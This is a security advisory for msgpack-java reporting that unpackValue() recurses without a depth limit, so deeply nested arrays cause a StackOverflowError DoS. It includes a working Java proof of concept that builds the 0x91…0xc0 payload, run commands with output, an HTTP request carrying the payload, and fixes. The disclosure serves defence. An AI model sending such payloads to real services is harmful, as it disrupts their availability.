[security disclosure] Unbounded Recursion in `unpackValue()` — Recoverable StackOverflow DoS

[waydeshi]

Field	Value
Project	msgpack-java
Repository	https://github.com/msgpack/msgpack-java
Affected Version	0.9.12 (and earlier)
Component	msgpack-core
Class	org.msgpack.core.MessageUnpacker
File	msgpack-core/src/main/java/org/msgpack/core/MessageUnpacker.java
Vulnerable Line(s)	646–663
Severity	Medium
CVSS 3.1 Score	Base Score: 5.3 (MEDIUM) — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
CWE	CWE-674 (Uncontrolled Recursion)

---

An unauthenticated remote attacker sends a small payload of deeply nested fixarray[1] structures to trigger a StackOverflowError in the deserializing thread. StackOverflowError extends Error, so catch (IOException) and catch (MessagePackException) do not intercept it and the request fails. Availability is Low: the error is recoverable, the worker thread stays alive, and a top-level catch (Throwable) survives it. No data is read or modified.

---

Vulnerability Description

unpackValue() deserializes recursively. For ARRAY and MAP containers it calls itself per element with no nesting depth limit:

// MessageUnpacker.java:646-663
case ARRAY: {
    int size = unpackArrayHeader();
    Value[] array = new Value[size];
    for (int i = 0; i < size; i++) {
        array[i] = unpackValue();   // ← recursive, no depth limit (line 650)
    }
    return ValueFactory.newArray(array, true);
}
case MAP: {
    int size = unpackMapHeader();
    Value[] kvs = new Value[size * 2];
    for (int i = 0; i < size * 2; ) {
        kvs[i] = unpackValue(); i++;   // ← recursive (line 658)
        kvs[i] = unpackValue(); i++;   // ← recursive (line 660)
    }
    return ValueFactory.newMap(kvs, true);
}

The minimal payload is a sequence of 0x91 (fixarray[1]) bytes terminated by 0xc0 (nil):

Payload = 0x91 × N + 0xc0    (N + 1 bytes)

---

Root Cause

unpackValue() recurses for each ARRAY/MAP element with no depth counter, recursion guard, or configurable maxNestingDepth. UnpackerConfig has stringSizeLimit and binarySizeLimit but no nesting-depth control. StackOverflowError is an Error, so typed handlers miss it, though catch (Throwable) recovers.

---

Impact

Denial of service via a recoverable per-request deserialization failure.

• Escapes typed catch blocks: catch (IOException) / catch (MessagePackException) miss the StackOverflowError.
• Recoverable: the worker thread survives, the stack unwinds cleanly, and frameworks with catch (Throwable) recover fully. Impact is a per-request failure, not thread-pool exhaustion.
• Minimal payload: crash depth ≈1,500 with -Xss512k (1,501-byte payload) and ≈11,000 with the default stack (≈11 KB payload), both within typical HTTP body limits.

---

Affected Code

public ImmutableValue unpackValue() throws IOException {
    MessageFormat mf = getNextFormat();
    switch (mf.getValueType()) {
        case ARRAY: {
            int size = unpackArrayHeader();
            Value[] array = new Value[size];
            for (int i = 0; i < size; i++) {
                array[i] = unpackValue();   // LINE 650: RECURSIVE, NO DEPTH LIMIT
            }
            return ValueFactory.newArray(array, true);
        }
        case MAP: {
            int size = unpackMapHeader();
            Value[] kvs = new Value[size * 2];
            for (int i = 0; i < size * 2; ) {
                kvs[i] = unpackValue(); i++;   // LINE 658
                kvs[i] = unpackValue(); i++;   // LINE 660
            }
            return ValueFactory.newMap(kvs, true);
        }
    }
}

---

Proof of Concept

Environment: OpenJDK 25.0.2, macOS; msgpack-core 0.9.12 (built from source, commit ca3fa54).

Payload: 0x91 × N + 0xc0 (N nested fixarray[1] + trailing nil).

A single unpackValue() on the nested payload throws StackOverflowError with the recursive frame pattern unpackValue (line 650) → unpackValue (line 650) → …. A flat array of 1,000,000 elements unpacks fine, so nesting depth (not size) drives the crash. The error escapes catch (Exception) but is caught by catch (Throwable), after which the thread continues (basis for A:L).

POC Source

File: poc-project/src/main/java/org/msgpack/poc/Poc3_UnpackValue_StackOverflowDoS.java

package org.msgpack.poc;

import org.msgpack.core.MessagePack;
import org.msgpack.core.MessageUnpacker;

public class Poc3_UnpackValue_StackOverflowDoS {

    public static void run() throws Exception {
        byte[] maliciousPayload = buildDeepNestedArray(5000);
        try (MessageUnpacker unpacker = MessagePack.newDefaultUnpacker(maliciousPayload)) {
            unpacker.unpackValue();
            System.out.println("[NOT VULNERABLE] Processed without StackOverflow");
        } catch (StackOverflowError e) {
            System.out.println("[VULNERABILITY CONFIRMED] StackOverflowError caught!");
            StackTraceElement[] trace = e.getStackTrace();
            for (int i = 0; i < Math.min(5, trace.length); i++) {
                System.out.println("  at " + trace[i]);
            }
        }
    }

    // depth nested fixarray[1] (0x91) + trailing nil (0xc0). Total = depth+1 bytes.
    static byte[] buildDeepNestedArray(int depth) {
        byte[] payload = new byte[depth + 1];
        for (int i = 0; i < depth; i++) {
            payload[i] = (byte) 0x91;
        }
        payload[depth] = (byte) 0xc0;
        return payload;
    }

    public static void main(String[] args) throws Exception {
        run();
    }
}

Build & run:

MSGPACK_CORE=~/.m2/repository/org/msgpack/msgpack-core/0.9.12/msgpack-core-0.9.12.jar
javac -cp "$MSGPACK_CORE" -d poc-project/target/classes \
  poc-project/src/main/java/org/msgpack/poc/Poc3_UnpackValue_StackOverflowDoS.java
java --add-opens=java.base/java.nio=ALL-UNNAMED \
     --add-opens=java.base/sun.nio.ch=ALL-UNNAMED \
     -Xss512k \
     -cp "poc-project/target/classes:$MSGPACK_CORE" \
     org.msgpack.poc.Poc3_UnpackValue_StackOverflowDoS

Verified Output (-Xss512k)

[VULNERABILITY CONFIRMED] StackOverflowError caught!
  at org.msgpack.core.MessageUnpacker.getNextFormat(MessageUnpacker.java:401)
  at org.msgpack.core.MessageUnpacker.unpackValue(MessageUnpacker.java:619)
  at org.msgpack.core.MessageUnpacker.unpackValue(MessageUnpacker.java:650)
  at org.msgpack.core.MessageUnpacker.unpackValue(MessageUnpacker.java:650)
  at org.msgpack.core.MessageUnpacker.unpackValue(MessageUnpacker.java:650)
  Depth 1000: OK
  Depth 1500: CRASH (StackOverflowError) - MINIMUM CRASH DEPTH

Network vector:

POST /api/msgpack HTTP/1.1
Content-Type: application/x-msgpack
Content-Length: 1501

\x91\x91\x91...[1500 times]...\xc0

Affected endpoints call MessageUnpacker.unpackValue() directly on request bodies. The Jackson integration (MessagePackParser) does not call unpackValue() for ARRAY/MAP and is unaffected.

---

Remediation

Option 1 — Add maxNestingDepth to UnpackerConfig (recommended):

private int maxNestingDepth = 512; // UnpackerConfig field

public ImmutableValue unpackValue() throws IOException {
    return unpackValue(0);
}

private ImmutableValue unpackValue(int depth) throws IOException {
    if (depth > config.getMaxNestingDepth()) {
        throw new MessageSizeException("Nesting depth exceeds limit: " + depth, depth);
    }
    // ARRAY/MAP cases call unpackValue(depth + 1)
}

Option 2 — Convert to an iterative implementation using an explicit Deque stack, removing JVM-stack usage for nesting.

---

References

• msgpack-core/src/main/java/org/msgpack/core/MessageUnpacker.java, lines 646–663
• CWE-674: https://cwe.mitre.org/data/definitions/674.html
• MessagePack array format: https://github.com/msgpack/msgpack/blob/master/spec.md#array-format-family
• Similar issue: CVE-2023-1370 (json-smart, unbounded nesting → StackOverflow DoS)